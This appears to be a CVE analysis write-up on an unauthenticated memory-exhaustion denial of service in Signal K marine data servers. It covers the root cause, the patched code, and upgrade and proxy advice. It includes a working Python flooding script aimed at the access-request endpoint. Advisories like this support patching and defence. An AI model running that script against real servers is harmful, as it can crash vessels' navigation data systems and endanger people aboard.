Signal K Server < 2.19.0 contains an unauthenticated memory leak in its device authorization flow. Attackers can spam connection requests with large payloads, filling the JavaScript heap and crashing the server. Fix: Upgrade to 2.19.0+.
A critical Denial of Service vulnerability in Signal K Server allows unauthenticated remote attackers to crash the application via heap exhaustion. By flooding the access request endpoint, the Node.js process runs out of memory, potentially taking down navigation data integration on equipped vessels.
Modern sailing isn't just about reading the wind and waves anymore; it's about JSON APIs, WebSockets, and Node.js. Enter Signal K, the open-source server that acts as the central nervous system for nautical data. It takes data from NMEA 2000 networks—GPS, depth, wind speed, engine diagnostics—and translates it into a unified format for apps and displays. It is effectively the server rack for your boat.
But here is the problem: when you put a web server on a boat, you inherit all the headaches of the web, including Denial of Service attacks. CVE-2025-68272 is a classic resource exhaustion bug that resides in the component responsible for onboarding new devices. It allows any unauthenticated user on the network (or the public internet, if you were brave enough to port-forward) to sink the Signal K server process.
This isn't just about a website going down. If your boat's instrument panel relies on Signal K to display depth or radar overlays, a crash here means flying blind. It is a digital hole in the hull that cannot be patched with duct tape.
The vulnerability stems from a logical oversight in how Signal K handles access requests. When a new device (like a tablet or phone) wants to talk to the server, it sends a POST request to /signalk/v1/access/requests. The server is supposed to hold onto this request until an administrator approves it via the dashboard.
In versions prior to 2.19.0, these requests were stored in a global in-memory JavaScript object, simply named requests. The developers implemented a cleanup task, pruneExcessRequests, which ran every 15 minutes to clear out old pending items. However, 15 minutes is an eternity in computer time.
Crucially, there were no limits on two vital metrics:
description field in the JSON payload had no length restriction.This created a textbook Heap Exhaustion scenario. An attacker could simply pour data into this global object faster than the garbage collector or the pruning task could clear it. Since Node.js runs largely on a single thread with a default V8 heap limit (typically around 1.5GB to 4GB depending on flags), filling this bucket is trivial.
Let's look at why the server crashed. In the vulnerable code (simplified), the server accepted the body and immediately assigned it to the heap:
// Vulnerable Logic in src/requestResponse.js
const handleAccessRequest = (req, res) => {
const { clientId, description } = req.body;
const id = generateUniqueId();
// No checks on size, no checks on total count
requests[id] = { clientId, description, timestamp: Date.now() };
res.status(202).send({ state: 'PENDING', id });
};The fix, applied in commit 55e3574d8266fbc0ed8e453ad4557073541566f5, introduces a "Defense in Depth" strategy. They didn't just add one check; they added three.
1. The Hard Cap:
const PENDING_ACCESS_REQUESTS_LIMIT = 100;
if (Object.keys(requests).length >= PENDING_ACCESS_REQUESTS_LIMIT) {
res.status(503).send('Too many pending requests');
return;
}2. The Payload Throttle:
They now inspect the Content-Length header before processing the body. If the request is larger than 10KB, it is rejected immediately.
3. Rate Limiting:
Using express-rate-limit, they capped the endpoint to 100 requests per 10 minutes. This turns a firehose into a garden hose, making heap exhaustion practically impossible.
Exploiting this requires no special tools—just curl or a few lines of Python. The goal is to send requests faster than the server can prune them, with payloads large enough to consume RAM quickly.
Here is a conceptual Proof of Concept (PoC) that demonstrates the attack:
import requests
import threading
TARGET = "http://<boat-ip>:3000/signalk/v1/access/requests"
# Create a 1MB string of junk data
JUNK_DATA = "A" * 1024 * 1024
def flood():
while True:
try:
payload = {
"clientId": "attacker_boat",
"description": JUNK_DATA
}
# Send the request and ignore the response
requests.post(TARGET, json=payload, timeout=1)
except:
pass
# Launch 50 threads to fill the heap instantly
for _ in range(50):
t = threading.Thread(target=flood)
t.start()When this script runs, the Signal K server process will see its memory usage spike vertically. Within seconds, the V8 engine will throw the dreaded FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory, and the process will terminate. If the server is not configured to auto-restart (e.g., via systemd or Docker restart policies), the service stays down permanently.
The remediation is straightforward: Update to version 2.19.0. This version includes the patch that limits pending requests to 100 and enforces a 10KB payload limit.
However, the developers went a step further in commit 43462c34f53e0a6ec0c8fd8f3eed31af3b45892e by adding Trust Proxy support. This is critical for users running Signal K behind Nginx or Traefik.
[!NOTE] Why Proxy Settings Matter Without
trustProxyconfigured,express-rate-limitsees all requests as coming from127.0.0.1(the proxy's IP). This means one legitimate user could trigger the rate limit, blocking everyone. If you run behind a proxy, ensure you configuretrustProxyin yoursettings.jsonso the new rate limiters work effectively against the actual attacker's IP.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Signal K Server Signal K | < 2.19.0 | 2.19.0 |
| Attribute | Detail |
|---|---|
| CWE | CWE-400 (Uncontrolled Resource Consumption) |
| Attack Vector | Network |
| CVSS v3.1 | 7.5 (High) |
| Impact | Denial of Service (Availability) |
| Privileges Required | None |
| Component | Access Request Handler |
The software does not properly restrict the size or amount of resources that are requested or influenced by an actor, which can be used to consume more resources than intended.
Get the latest CVE analysis reports delivered to your inbox.